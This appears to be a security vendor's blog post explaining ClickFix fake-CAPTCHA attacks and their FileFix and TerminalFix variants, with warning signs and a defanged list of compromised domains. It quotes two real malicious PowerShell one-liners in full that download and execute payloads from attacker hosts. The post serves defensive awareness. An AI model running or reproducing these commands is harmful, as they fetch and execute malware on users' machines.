ClickFix is a social engineering technique that has spread rapidly over the last couple of years. There is no attachment to open and no obvious file for the victim to download. The victim ends up doing the attacker’s work, often without realizing anything unusual has happened.
A typical ClickFix attack begins with a fake error message or CAPTCHA page shown on a phishing site, compromised website, malicious ad, or poisoned search result. Behind the scenes, a malicious command is copied to the user’s clipboard and The page then instructs the user to paste the command into the Windows Run dialog and click OK. The command is typically executed through PowerShell or mshta. – Because these are Microsoft-signed tools, their use can make the activity harder for basic security controls to detect.
The attack chain is short but effective: the victim is first led to a malicious webpage through phishing, malvertising, a compromised website, or poisoned search results. The webpage presents a dummy error message or a “verify your humanity” pop-up, with a single click, the page silently copies a command to the user’s clipboard.
After that, the webpage starts acting like a fake help desk, instructing the victim to press Win and R, then paste the command and press enter, which is a totally legitimate procedure. The command runs in the background through tools such as PowerShell and downloads the next phase. It could be anything from stealers to loaders and even remote access trojans, with a single attack often delivering multiple samples.
The reason it works is simple: the victim completes the final step of the attack themselves. The commands arrive as ordinary text not filtered by the gateway, the command is executed within the session of the user, and the process runs in a Microsoft signed binary, which can help the activity evade basic heuristic detection. Basic awareness training does not involve the skill of not pasting things into system windows.
Another example of the usage of ClickFix may include a counterfeit CAPTCHA page which seems real. Indeed, it is seen here that, in this particular example, the hackers attempt to make the imitation of the Cloudflare’s CAPTCHA page real, and their imitation really seems very convincing at the first glance. However, once the button for verification of the CAPTCHA code is pressed, the page does not continue the process of verification. Instead, it asks the user to press the combination of keys “Win + R” and enter the command which will be automatically copied from the web page into the clipboard. This command will be the following one:
powershell -NoP -w h -ep bypass -c “$h=’gasshopper’+’.sale’;$n=’1b3648d6.exe’;$u=’https://’+$h+’/api/index.php?a=grab’;$f=$env:TEMP+’\’+$n;[Net.WebClient]::new().(‘Down’+’loadFile’)($u,$f);ri($f+’:Zone.Identifier’)-EA 0;& $f” |
For example, once copied to the clipboard, this command is executed by instructing the victim to use the Win + R key combination. It launches PowerShell in hidden mode with security restrictions bypassed, downloads a malicious file named 1b3648d6.exe from a remote address, removes the Windows downloaded file warning if present, and then executes the file on the system.
Although most ClickFix attacks are created using fake Cloudflare CAPTCHA infrastructure, Cloudflare is not behind every ClickFix attack. For example, in this attack, a Google CAPTCHA example is observed, and the malicious command pasted into the clipboard is as follows:
powershell -w h “iex(irm ‘idverification-cdn.info/6c39ecea8db8e938’ -UseBasicParsing)”; exit <#Verification ID: 6c39ecea8db8e938#> |
This command also downloads PowerShell code from a remote address and executes it directly.
What makes ClickFix so dangerous is that the victim unknowingly becomes the one who runs the malware. Instead of being an obviously shady email attachment or a deceptive website download, attackers disguise the malware-running part of the attack within a near-perfect spoofed CAPTCHA page from Cloudflare or Google. ClickFix can feel very mundane because CAPTCHA’s do change, with users seeing new, different verification steps from CAPTCHAs regularly and mistaking the ClickFix steps as nothing more than a human verification attempt.
Once a victim follows the instruction to press **‘Win + R,’**paste command and hit enter, they often won’t know the command has already been copied to their clipboard for execution.
The real malware usually runs behind the scene using some common, well-known Microsoft tools such as PowerShell to download and run malicious software in the background. This approach is why ClickFix is dangerous.
The FileFix variant works with a copy-paste structure that is highly similar to ClickFix. The key difference appears in the keyboard shortcuts used. The malicious page first instructs the user to open File Explorer with the Ctrl+E shortcut, then directs them to the address/search bar with Ctrl+L. On Windows, File Explorer’s address bar can be used to execute PowerShell commands. Attackers abuse this behavior in this variant.
In the TerminalFix variant, the user is directly instructed to open PowerShell, enter the command into PowerShell, and execute it on the system. Unlike FileFix, it does not involve opening File Explorer, and unlike standard ClickFix, it does not rely on the Run dialog. Instead, it operates directly through PowerShell.
Real CAPTCHA is meant to ensure you are human in your browser. It should not direct you to use the Windows Run command (Win+R), open up a PowerShell instance, paste commands, or follow commands at the OS level. A verification page that leaves your browser environment, asking for keyboard combinations such as Win + R, Ctrl + V or Enter, are signs this is no longer standard CAPTCHA process.
Another tell-tale sign is when ClickFix introduces “manual verification” prompts.
These prompts will state the browser verification failed, the victim needs an extra step to be verified or security verification required. In reality, the command has been copied to your clipboard, and you are being pushed to enter it.
hxxps[:]//www[.]einvoicesolutions[.]com/ |
hxxps[:]//www[.]m-und-c-partners[.]de/ |
fearlesshomemaker[.]com |
unspanel[.]rs |
lifetimeeyecare[.]biz |
ajantaappliances[.]com |
keypharmacy[.]uk |
imohoo[.]com[.]br |
thekiss[.]gr |
| swanriverschool[.]org |
More posts
Share this article
Found it interesting? Don’t hesitate to share it to wow your friends or colleagues
Subscribe to our blog newsletter to follow the latest posts
